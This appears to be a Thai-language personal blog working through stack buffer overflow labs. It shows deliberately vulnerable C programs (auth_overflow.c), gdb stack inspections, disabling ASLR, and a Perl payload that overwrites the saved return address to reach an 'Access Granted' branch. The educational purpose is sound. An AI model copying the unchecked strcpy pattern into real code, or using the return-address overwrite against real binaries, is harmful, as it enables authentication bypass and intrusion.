Monday, May 14, 2012

0x203 เล่นกับ auth_overflow อีกครั้ง

เมื่อครั้งทีแล้วเราได้เห็นถึง ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์บนหน่วยความจำในสแต็ก ด้วยโปรแกรมง่าย auth_overflow.c ที่มีช่องโหว่อยู่ตรง if statement แต่มันสามารถถูกแก้ไขได้ด้วยวิธีง่ายๆ
root@bt:~/hacking# diff auth_overflow.c auth_overflow2.c 
24c24
<  if(check_authentication(argv[1])) {
---
>  if(check_authentication(argv[1]) == 1) {


จากครั้งที่แล้วฟังก์ชั่น check_authentication() ถ้าค่าที่รีเทิร์นกลับมาเป็นเลขจำนวนเต็มใดๆ ที่ไม่เท่ากัน 0 ภาษาซีถือว่าเป็นจริง(true) ดั่งนั้นเพื่อให้มันใจได้ว่าค่าที่รีเทิร์นกลับมามีค่าเท่ากับ 1 จึงต้องได้รับการแก้ไข
root@bt:~/Code/c/hacking# ./auth_overflow AAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAA

Access Denied.
root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@bt:~/Code/c/hacking#

ผลจากการเปลี่ยนแปลงใน if statement ทำให้เราไม่สามารถใช้วิธีแบบเดิมได้อีกแล้ว แต่นี้ก็เป็นเรื่องที่ดีที่โปรแกรมสามารถทำงานได้ตามที่โปรแกรมเมอร์ต้องการ เอ๊!! แล้วจะทำยังไงดีหล่ะคราวนี้ โชคดีที่เราลองมั่วไปแล้วมันเกิด Segmentation fault ... แล้วมันคืออะไร ความจริงแล้วเราไม่สามารถจะคาดการณ์อะไรกันมันได้เลย แต่มันจะต้องล้นไปทับส่วนที่สำคัญอย่างแน่นอน ลองไปดูการโฟลว์การทำงานในดีบั๊กเกอร์ดีกว่า
oot@bt:~/Code/c/hacking# gdb -q ./auth_overflow2
Reading symbols from /root/Code/c/hacking/auth_overflow2...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 
5 int check_authentication(char *password) {
6  char password_buffer[16];
7  int auth_flag = 0;
8 
9  strcpy(password_buffer, password);
10  
(gdb) 
11  if(strcmp(password_buffer, "nopX90") == 0)
12   auth_flag = 1;
13  if(strcmp(password_buffer, "naruedol") == 0)
14   auth_flag = 1;
15 
16  return auth_flag;
17 }
18 
19 int main(int argc, char *argv[]) {
20  if(argc < 2) {
(gdb) 
21   printf("Usage: %s <password>\n", argv[0]);
22   exit(0);
23  }
24  if(check_authentication(argv[1]) == 1) {
25   printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26   printf("      Access Granted.\n");
27   printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
28  } else {
29   printf("\nAccess Denied.\n");
30    }
(gdb) 
31 }
32  
(gdb) b 24
Breakpoint 1 at 0x8048522: file auth_overflow2.c, line 24.
(gdb) b 9
Breakpoint 2 at 0x80484a1: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 3 at 0x80484ef: file auth_overflow2.c, line 16.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /root/Code/c/hacking/auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=2, argv=0xbffff5a4) at auth_overflow2.c:24
24  if(check_authentication(argv[1]) == 1) {
(gdb) i r eip esp ebp
eip            0x8048522 0x8048522 <main+46>
esp            0xbffff4f0 0xbffff4f0
ebp            0xbffff4f8 0xbffff4f8
(gdb) i f  #เรียกดู stack frame ใน main()
Stack level 0, frame at 0xbffff500:
 eip = 0x8048522 in main (auth_overflow2.c:24); saved eip 0xb7e8abd6
 source language c.
 Arglist at 0xbffff4f8, args: argc=2, argv=0xbffff5a4
 Locals at 0xbffff4f8, Previous frames sp is 0xbffff500
 Saved registers:
  ebp at 0xbffff4f8, eip at 0xbffff4fc
(gdb) x/32xw $esp
0xbffff4f0: 0x08048580 0x00000000 0xbffff578 0xb7e8abd6
0xbffff500: 0x00000002 0xbffff5a4 0xbffff5b0 0xb7fe1858
0xbffff510: 0xbffff560 0xffffffff 0xb7ffeff4 0x0804829c
0xbffff520: 0x00000001 0xbffff560 0xb7ff0626 0xb7fffab0
0xbffff530: 0xb7fe1b48 0xb7fc9ff4 0x00000000 0x00000000
0xbffff540: 0xbffff578 0x2636a37e 0x088b956e 0x00000000
0xbffff550: 0x00000000 0x00000000 0x00000002 0x080483e0
0xbffff560: 0x00000000 0xb7ff6230 0xb7e8aafb 0xb7ffeff4
(gdb) 

เบรกพอยต์อันแรกจะอยู่ก่อนหน้า check_authtication() ที่จุดนี้ สแต็กพอยต์เตอร์รีจีสเตอร์ (ESP) จะมีค่าเท่ากัน 0xbffff4f0 และเราได้เข้าไปดูส่วนข้างในของสแต็ก ซึ่งนี้ก็คือสแต็กเฟรมทั้งของฟังก์ชั่ง main()
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff720 'A' <repeats 28 times>) at auth_overflow2.c:9
9  strcpy(password_buffer, password);
(gdb) i f  # stack frame ในฟังก์ชั่น check_authentication()
Stack level 0, frame at 0xbffff4f0:
 eip = 0x80484a1 in check_authentication (auth_overflow2.c:9); saved eip 0x8048532
 called by frame at 0xbffff500
 source language c.
 Arglist at 0xbffff4e8, args: password=0xbffff720 'A' <repeats 28 times>
 Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0
 Saved registers:
  ebp at 0xbffff4e8, eip at 0xbffff4ec #Address ในจะเก็บค่าที่รีเทิร์นกลับไป main()
(gdb) x/32xw $esp
0xbffff4cc: 0x08048599 0xb7fca324 0xb7fc9ff4 0x08048580
0xbffff4dc: 0xbffff4f8 0xb7ea34a5 0x00000000 0xbffff4f8
0xbffff4ec: *0x08048532 0xbffff720 0x00000000 0xbffff578
0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0
0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4
0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626
0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000
0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db
(gdb) x/x &password_buffer 
0xbffff4d4: 0xb7fc9ff4
(gdb) x/x &auth_flag 
0xbffff4e4: 0x00000000
(gdb) p 0xbffff4ec - 0xbffff4d4
$1 = 24
(gdb) p 24+4
$2 = 28  #ค่าที่ได้จากตัวแปร password_buffer ถึง save registers
(gdb) disass main
Dump of assembler code for function main:
   0x080484f4 <+0>: push   ebp
   0x080484f5 <+1>: mov    ebp,esp
   0x080484f7 <+3>: sub    esp,0x8
   0x080484fa <+6>: cmp    DWORD PTR [ebp+0x8],0x1
   0x080484fe <+10>: jg     0x8048522 <main+46>
   0x08048500 <+12>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048503 <+15>: mov    edx,DWORD PTR [eax]
   0x08048505 <+17>: mov    eax,0x8048640
   0x0804850a <+22>: mov    DWORD PTR [esp+0x4],edx
   0x0804850e <+26>: mov    DWORD PTR [esp],eax
   0x08048511 <+29>: call   0x804839c <printf@plt>
   0x08048516 <+34>: mov    DWORD PTR [esp],0x0
   0x0804851d <+41>: call   0x80483cc <exit@plt>
   0x08048522 <+46>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048525 <+49>: add    eax,0x4
   0x08048528 <+52>: mov    eax,DWORD PTR [eax]
   0x0804852a <+54>: mov    DWORD PTR [esp],eax
   0x0804852d <+57>: call   0x8048494 <check_authentication>
   *0x08048532 <+62>: cmp    eax,0x1
   0x08048535 <+65>: jne    0x804855d <main+105>
   0x08048537 <+67>: mov    DWORD PTR [esp],0x8048656
   0x0804853e <+74>: call   0x80483ac <puts@plt>
   0x08048543 <+79>: mov    DWORD PTR [esp],0x8048673
   0x0804854a <+86>: call   0x80483ac <puts@plt>
   0x0804854f <+91>: mov    DWORD PTR [esp],0x8048689
   0x08048556 <+98>: call   0x80483ac <puts@plt>
   0x0804855b <+103>: jmp    0x8048569 <main+117>
   0x0804855d <+105>: mov    DWORD PTR [esp],0x80486a5
   0x08048564 <+112>: call   0x80483ac <puts@plt>
   0x08048569 <+117>: leave  
   0x0804856a <+118>: ret    
End of assembler dump.

ทั้งหมดอาจดูสับสน แต่มันแค่เป็นการเข้าไปสำรวจสแต็กเฟรมของฟังก์ชั่น check_authentication() ทำให้เราได้บพบกับ Save register ที่ได้เก็บค่าต่างๆไว้ด้วย function prologue มันทำหน้าที่บันทึกเฟรมต่างไว้บนสแต็กนั้นและ รวมไปถึง (EIP) อยู่ที่ 0xbffff4ec และจะคอยคืนค่าให้กับ EIP หลังจบฟังก์ชั่น check_authentication() แล้วอะไรจะเกิดขึ้นถ้า save register eip ถูกเขียนทับ ? แน่นอนครับมันจะกระโดดไปเอ็กซิคิวต์ค่านั้น
(gdb) c
Continuing.

Breakpoint 3, check_authentication (password=0xbffff700 "t/Code/c/hacking/auth_overflow2") at auth_overflow2.c:16
16  return auth_flag;
(gdb) i f #เช็คสแต็กเฟรมอีกครั้ง
Stack level 0, frame at 0xbffff4f0:
 eip = 0x80484ef in check_authentication (auth_overflow2.c:16); saved eip 0x41414141
 called by frame at 0xbffff4f4
 source language c.
 Arglist at 0xbffff4e8, args: password=0xbffff700 "t/Code/c/hacking/auth_overflow2"
 Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0
 Saved registers:
  ebp at 0xbffff4e8, eip at 0xbffff4ec
(gdb) x/32xw $esp
0xbffff4cc: 0xbffff4d4 0x08048637 0x41414141 0x41414141
0xbffff4dc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4ec: 0x41414141 0xbffff700 0x00000000 0xbffff578
0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0
0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4
0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626
0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000
0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db
(gdb) x/x &password_buffer 
0xbffff4d4: 0x41414141
(gdb) x/x &auth_flag 
0xbffff4e4: 0x41414141
(gdb) x/x 0xbffff4ec 
0xbffff4ec: 0x41414141 #ค่าริเทิร์น address ได้ถูกเขียนทับแล้วด้วย 'A'
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i f
Stack level 0, frame at 0xbffff4f4:
 eip = 0x41414141; saved eip 0xbffff700
 called by frame at 0x41414149
 Arglist at 0xbffff4ec, args: 
 Locals at 0xbffff4ec, Previous frames sp is 0xbffff4f4
 Saved registers:
  eip at 0xbffff4f0
(gdb) x/i $eip
=> 0x41414141: Cannot access memory at address 0x41414141
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) 

จาก gdb ทำให้เราได้เห็นถึงตัวการที่ทำให้เกิด Segmentation fault. เหตุการณ์แบบนี้เป็นเรื่องที่ไม่ดีเท่าไหร่บนเซฟเฟรมพอยน์เตอร์ ที่ถูกคอมไฟล์ด้วย -fomit-frame-pointer แล้วมันจะเกิดอะไรขึ้นถ้าคุณใช้มันอย่างชาญฉลาด
 
  #========: ละไว้มันยาว :========
   0x0804852d <+57>: call   0x8048494 <check_authentication>
   0x08048532 <+62>: cmp    eax,0x1
   0x08048535 <+65>: jne    0x804855d <main+105>
   0x08048537 <+67>: mov    DWORD PTR [esp],0x8048656
   0x0804853e <+74>: call   0x80483ac <puts@plt>
   0x08048543 <+79>: mov    DWORD PTR [esp],0x8048673
   0x0804854a <+86>: call   0x80483ac <puts@plt>
   0x0804854f <+91>: mov    DWORD PTR [esp],0x8048689
   0x08048556 <+98>: call   0x80483ac <puts@plt>
   0x0804855b <+103>: jmp    0x8048569 <main+117>
   0x0804855d <+105>: mov    DWORD PTR [esp],0x80486a5
   0x08048564 <+112>: call   0x80483ac <puts@plt>

ตัวหนังสือหนาเป็น address ที่เก็บคำสั่งที่ใช้แสดงคำว่า Access Granted. เริ่มต้นที่ 0x08048537 แล้วมันสำคัญยังไงหล่ะ ? แน่นอนครับถ้าเราสามารถนำมันไปว่าไว้บน save register eip ได้ก่อนที่มันจะรีเทิร์นค่าให้กลับ EIP แบบพอดี แล้วจากได้รับค่า รีเทิร์นแอดเดรสหลังจบฟังก์ชั่น check_authentication() step ต่อมา EIP จะต้องเอ็กซีคิวต์คำสั่งที่มันกำลังชี้อยู่ ใช่แล้วเรากำลังจะบังคับให้ EIP ชี้ไปยังตำแหน่งที่เราต้องการ
root@bt:~/hacking# ./auth_overflow2 $(perl -e 'print "\x37\x85\x04\x08"x10')

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

เย้ !!! ถึงแม้การทำให้ได้คำว่า Access Granted. อาจดูไม่มีประโยชน์เท่าไหร่ แต่เราได้เรียนรู้ถึงเทคนิคใหม่ๆ แน่นอนคับเทคนิคนี้สามรถสร้างประโยชน์ได้เยอะ ถ้าเราสามารถคุมโฟลว์การเอ็กซีคิวได้

Friday, May 11, 2012

0x202 ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์บนหน่วยความจำในสแต็ก

สแต็ก เป็นหนึ่งในห้าเซกเมนต์หน่วยความจำที่ถูกใช้โดยโปรแกรมต่างๆ สแต็กนั้นมีโครางสร้างแบบ FILO  เพื่อเก็บรักษาโฟลว์ขั้นตอนของการเอ็กซีคิวต์ และคอนเท็กซ์ของตัวแปรแบบโลคอลในระหว่างการเรียกให้ฟังก์ชั่นอื่น และจะได้สามารถรีเทิร์นการทำงานกลับ ณ จุดเดิมก่อนการเรียกใช้ฟังก์ชั่นใหม่นั้นได้

เมื่อฟังก์ชั่นถูกเรียกใช้  โครงสร้างที่ชื่อ สแต็กเฟรม ( Stack Frame ) ได้ถูก push ลงไปบนสแต็ก และรีจิสเตอร์ EIP จะกระโดดไปยังคำสั่งแรกของฟังก์ชั่น แต่ละสแต็กเฟรมจะเก็บตัวแปรแบบโลคอลของฟังก์ชั่นนั้น และรีเทิร์นแอดเดรสเพื่อที่ว่าค่าของ EIP จะได้สามารถถูกเรียกคืนได้ โดยโครงสร้างและกลไกต่างๆ ที่กล่าวมานี้ได้รับการจัดการโดยคอมไพเลอร์ ไม่ใช่โปรแกรมเมอร์

auth_overflow.c
/*
 * Compile 
 * gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -g -o auth_overflow auth_overflow.c
 *   
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
 int auth_flag = 0;
 char password_buffer[16];

 strcpy(password_buffer, password);
 
 if(strcmp(password_buffer, "nopX90") == 0)
  auth_flag = 1;
 if(strcmp(password_buffer, "naruedol") == 0)
  auth_flag = 1;

 return auth_flag;
}

int main(int argc, char *argv[]) {
 if(argc < 2) {
  printf("Usage: %s \n", argv[0]);
  exit(0);
 }
 if(check_authentication(argv[1])) {
  printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  printf("      Access Granted.\n");
  printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
 } else {
  printf("\nAccess Denied.\n");
   }
}


โปรแกรมตัวอย่างนี้จะรับเฉพาะรหัสผ่านมาเป็นอาร์กิวเมนต์ของบรรทัดคำสั่ง และจากนั้นจะไปเรียกใช้ฟังก์ชั่น check_authentication() ฟังก์ชั่นนี้อนุญาติให้มีสองรหัสผ่าน เพื่อตรวจสอบการใช้งานของผู้ใช้ ถ้าหนึ่งในรหัสผ่านเหล่านี้ถูกรีเทิร์นกลับมาเป็น 1 ซึ่งก็หมายความว่าอนุญาตให้เข้าใช้งานระบบได้
root@bt:~/Hacking# ./auth_overflow 
Usage: ./auth_overflow 
root@bt:~/Hacking# ./auth_overflow test

Access Denied.
root@bt:~/Hacking# ./auth_overflow nopX90

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/Hacking# ./auth_overflow naruedol

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

ทุกอย่างทำงานได้ตามปกติ ตามที่ซอร์สโค้ดเขียนไว้ นี่เป็นสิ่งที่เราคาดหวังได้จากคอมพิวเตอร์ แต่การเกิดโฟลว์ขึ้นจะนำเราไปสู่เหตุการณ์ที่เราไม่คาดคิด และบางอย่างที่ขุดแย้งกัน ซึ่งจะนำไปสู่การเข้าถึงระบบได้โดยไม่ต้องระบุรหัสผ่าน
root@bt:~/Hacking# ./auth_overflow AAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

เกิดอะไรขึ้นกับโปรแกรม auth_overflow.c เราลองมาดูการทำงานภายในของระบบดู
root@bt:~/Hacking# gdb -q ./auth_overflow
Reading symbols from /root/Hacking/auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 
5 int check_authentication(char *password) {
6  int auth_flag = 0;
7  char password_buffer[16];
8 
9  strcpy(password_buffer, password);
10  
(gdb) 
11  if(strcmp(password_buffer, "nopX90") == 0)
12   auth_flag = 1;
13  if(strcmp(password_buffer, "naruedol") == 0)
14   auth_flag = 1;
15 
16  return auth_flag;
17 }
18 
19 int main(int argc, char *argv[]) {
20  if(argc < 2) {
(gdb) b 9    #break line 9 เพื่อจะได้เช็คค่าก่อนจะโอเวอร์โฟลว์
Breakpoint 1 at 0x80484a1: file auth_overflow.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x80484ef: file auth_overflow.c, line 16.
(gdb) r AAAAAAAAAAAAAAAAAAAA
Starting program: /root/Hacking/auth_overflow AAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff736 'A' ) at auth_overflow.c:9
9  strcpy(password_buffer, password);
(gdb) x/s password_buffer 
0xbffff4f4:  "\364\237\374\267\200\205\004\b\030\365\377\277\245\064", 
(gdb) x/x &auth_flag 
0xbffff504: 0x00000000
(gdb) print 0xbffff504 - 0xbffff4f4    #หาระยะหว่างระหว่าง password_buffer กับ auth_flag
$1 = 16
(gdb) x/16xw password_buffer 
0xbffff4f4: 0xb7fc9ff4 0x08048580 0xbffff518 0xb7ea34a5
0xbffff504: 0x00000000 0xbffff518 0x08048532 0xbffff736
0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002
0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580
(gdb) 


เบรกพอยต์แรกอยู่ก่อนหน้านี้ฟังก์ชั่น strcpy() จะทำงาน ด้วยการสำรวจพอยน์เตอร์ password_buffer เราจะพบว่าดีบั๊กเกอร์จะแสดงว่ามันถูกบรรจุด้วยข้อมูลแบบสุ่มที่ไม่ได้ผ่านการเซตค่าเริ่มต้น และถูกเก็บไว้ที่แอดเดรส 0xbffff4f4 ในหน่วยความจำ ด้วยการสำรวจแอดเดรสของตัวแปร auth_flag เราสามารถดูได้ทั้งตำแหน่งของมันที่ 0xbffff504 และค่าที่เท่ากับศูนย์ คำสั่ง print ทำให้เรารู้ว่า auth_flag อยู่ห่างจากจุดเริ่มต้นของ password_buffer ไป 16 ไบต์
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff735 'A' <repeats 20="" times=""> ) at auth_overflow.c:16
16  return auth_flag;
(gdb) x/s password_buffer 
0xbffff4f4:  'A' <repeats 20="" times="">
(gdb) x/x &auth_flag 
0xbffff504: 0x41414141
(gdb) x/16xw password_buffer 
0xbffff4f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff504: 0x41414141 0xbffff500 0x08048532 0xbffff735
0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002
0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580
(gdb) x/4cb &auth_flag 
0xbffff504: 65 'A' 65 'A' 65 'A' 65 'A'
(gdb) x/dw &auth_flag 
0xbffff504: 1094795585


เบรกพอยต์ถัดไปที่พบหลังจากฟังก์ชัน strcpy() ตำแหน่งของหน่วยความจำเหล่านี้สามารถถูกสำรวจได้อีกครั้ง ข้อมูลใน password_buffer ได้โอเวอร์โฟลว์เข้าไปใน auth_flag และแก้ไขค่าสี่ไบต์เริ่มต้นให้เท่ากับ 0x41 ค่า 0x41414141 จริงๆมันอยู่ในฐานะที่เป็นเลขจำนวนเต็ม โดยมีค่าเท่ากับ 1094795585 (ดูเยอะไปไหนอาจทำให้โปรแกรมแครชลงได้ แต่ถ้าลอง A 18 ตัวอาจจะดูดีกว่านี้ )
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) 

หลังจากการเกิดโอเวอร์โฟลว์ พังก์ชั่น check_authentication() จะรีเทิร์นค่า 1094795585 แทนที่จะรีเทิร์น 0 เนื่องจากคำสั่ง if จะมองว่าค่าใดๆ ที่รีเทิร์นมา หากไม่ใช่ 0 ก็ถือว่าเป็นการผ่านการตรวจสอบแล้วการฟังก์ชั่น check_authentication()

ในตัวอย่างนี้ ตัวแปร auth_flag ถือได้ว่าเป็นจุดควบคุมการเอ็กซีคิวต์ เนื่องจากการเขียนทับค่าตัวแปรนี้ได้ถือว่าเป็นจุดเปลี่ยนในการตัดสินใจของโปรแกรม

Thursday, May 10, 2012

0x201 Intro Buffer Overflow

ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์นั้นมีมานานแล้ว นับตั้งแต่การถือกำเนิดของคอมพิวเตอร์และก็ยังไม่อยู่ในปัจจุบัน

ในขณะที่ความง่ายของภาษา C ได้เพิ่มระดับการควบคุมโปรแกรมให้กับโปรแกรมเมอร์และเพิ่มประสิทธิ์ภาพของโปรแกรมที่ผ่านการคอมไพล์  มันยังช่วยเพิ่มโอกาสในการที่โปรแกรมจะได้รับผลกระทบต่อปรากฏการณ์บัฟเฟอร์โอเวอร์โฟลว์  และปัญหาการขาดแคลนหน่วยความจำด้วย  ถ้าโปรแกรมเมอร์ไม่ระมัดระวังพอ  นี่หมายความว่า  ทันที่ได้รับการจองเนื้อที่หน่วยความจำได้ถูกจัดสรรสำหรับตัวแปรหนึ่งๆแล้ว  มันจะไม่มีกลไลป้องกันภายในใดๆ ที่จะรับประกันได้ว่าข้อมูลที่จะนำไปเก็บในตัวแปรนั้น  มีขนาดเหมาะสมพอดีกับเนื้อที่หน่วยความจำที่ได้จัดเตรียมไว้  ถ้าโปรแกรมเมอร์ต้องการบรรจุข้อมูลขนาดสิบไบต์เข้าไปในบัฟเฟอร์หน่วยความจำที่มีขนาดเพียงแปดไบต์เท่านั้น  พฤติกรรมนี้จะอนุญาตให้เกิดขึ้นได้  แต่ทว่ามันจะเป็นไปได้สูงมากที่โปรแกรมจะแครชและพังลงไป  ปรากฏการณ์นี้เรียกว่า  บัฟเฟอร์โอเวอร์โฟลว์ เนื่องจากข้อมูลอีกสองไบต์ที่ล้นเกินมานั้นจะไปโอเวอร์โฟลว์  และทำให้หน่วยความจำล้น  อีกทั้งยังมีโอกาสไปเขียนทับข้อมูลใดๆ ที่ได้ถูกเก็บไว้ต่อจากพื้นที่หน่วยความจำนั้น  ถ้าข้อมูลสำคัญได้ถูกเขียนทับ  โปรแกรมจะแครช

ตัวอย่างโปรแกรม overflow_example.c
/*
 * Compile 
 * gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o overflow_example overflow_example.c
 * 
 */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
 int value = 5;
 char buffer_one[8], buffer_two[8];

 strcpy(buffer_one, "one"); /* put "one" into buffer_one */
 strcpy(buffer_two, "two"); /* put "two" into buffer_two */
 
 printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
 printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
 printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

 printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  strlen(argv[1]));
 strcpy(buffer_two, argv[1]); /* copy first argument into buffer_two */

 printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
 printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
 printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);
}

หลังจากคอมไฟล์โปรแกรมแล้ว เราได้ทดลองสำเนาสิบไบต์จากอากิวเมนต์แบบบรรทัดคำสั่ง อากิวเมนต์แรกเข้าไปในต้วแปร buffer_two ซึ่งตัวแปรนี้ได้จัดสรรพื้นที่หน่วยความจำไว้เพียงแปดไบต์เท่านั้น
root@bt:~/Hacking# ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff514 and contains 'two'
[BEFORE] buffer_one is at 0xbffff51c and contains 'one'
[BEFORE] value is at 0xbffff524 and is 5 (0x00000005)

[STRCPY] copying 10 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff514 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff51c and contains '90'
[AFTER] value is at 0xbffff524 and is 5 (0x00000005)

สังเกตว่าตัวแปร buffer_one ดได้รับการจัดเก็บไว้โดยตรงทันทีต่อจากตัวแปร buffer_two ในหน่วยความจำ ดังนั้นเมื่อสิบไบต์ถูกสำเนาไปไว้ที่ buffer_two อีกสองไปต์ที่เหลือคือ 90 ก็จะไปโอเวอร์โฟลว์ในตัวแปร buffer_one และจะเขียนทับอะไรก็ตามที่อยู่ในตัวแปรนี้

โดยธรรมชาติแล้ว บัฟเฟอร์หน่วยความจำขนาดใหญ่ขึ้นมันโอเวอร์โฟลว์ล้นไปอยู่ในพื้นที่หน่วยความจำที่เก็บตัวแปรอื่น แต่ถ้าบัฟเฟอร์มีขนาดใหญ่มากขึ้นอีกถึงจุดหนึ่ง โปรแกรมอาจจะแครชและตายลงได้
root@bt:~/Hacking# ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff504 and contains 'two'
[BEFORE] buffer_one is at 0xbffff50c and contains 'one'
[BEFORE] value is at 0xbffff514 and is 5 (0x00000005)

[STRCPY] copying 29 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff504 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff50c and contains 'AAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at 0xbffff514 and is 1094795585 (0x41414141)
Segmentation fault

Wednesday, May 9, 2012

Preparation

เริิ่มแรกผมขอแนะนำบล็อกนี้กันก่อน คำว่า "\x90" มันมาจากไหน มันคือ NOP ( no operation ) ซึ่งก็คือโอเปอร์เรชั่นว่างๆ ที่ไม่ได้ทำอะไรแต่เสียพื้นที่ไป 1 MC เอ้า!! แล้วมันเกี่ยวอะไรกัน ?  ฮาๆ มันไม่ได้เกี่ยวอะไรกันหรอกครับ

เตรียมความพร้อม

สิ่งที่ต้องเตรียมเป็นอย่างแรกคือ Ubuntu เวอร์ช้่นไหนก็ได้ ผมแนะนำให้ลงแบบ Virtual machine จะดีกว่า
หลังจากลงเสร็จพร้อมใช้งานให้เข้าไปที่ /etc/sysctl.conf แล้วสั่ง เพื่อ Disable ASLR
$ echo 0 > /proc/sys/kernel/randomize_va_space
$ sudo sysctl -p
ส่วนอื่น ทาง Ubuntu เค้าได้จัดการให้เราแล้ว

เป้าหมาย

สิ่งที่ผมจะเขียนในบล็อกนี้มันก็คือ Lab ส่วนตัวของผมนี้ล่ะ ผมเองตั้งใจจะศึกษา Hacking ที่เกียวกัน
0x000  Get start
0x100  Programming
0x200  Exploit buffer overflow
0x300  Network
0x400  Shellcode

ทักษะ Programming  มันไม่ใข่จรวดนำวิถี มันไม่ใช่ที่สุดของวิศวคอม แต่มันเปรียบเสมือนมีดพกที่สามารถนำมาใช้แก้ปัญหาต่างๆ ได้ตลอดเวลา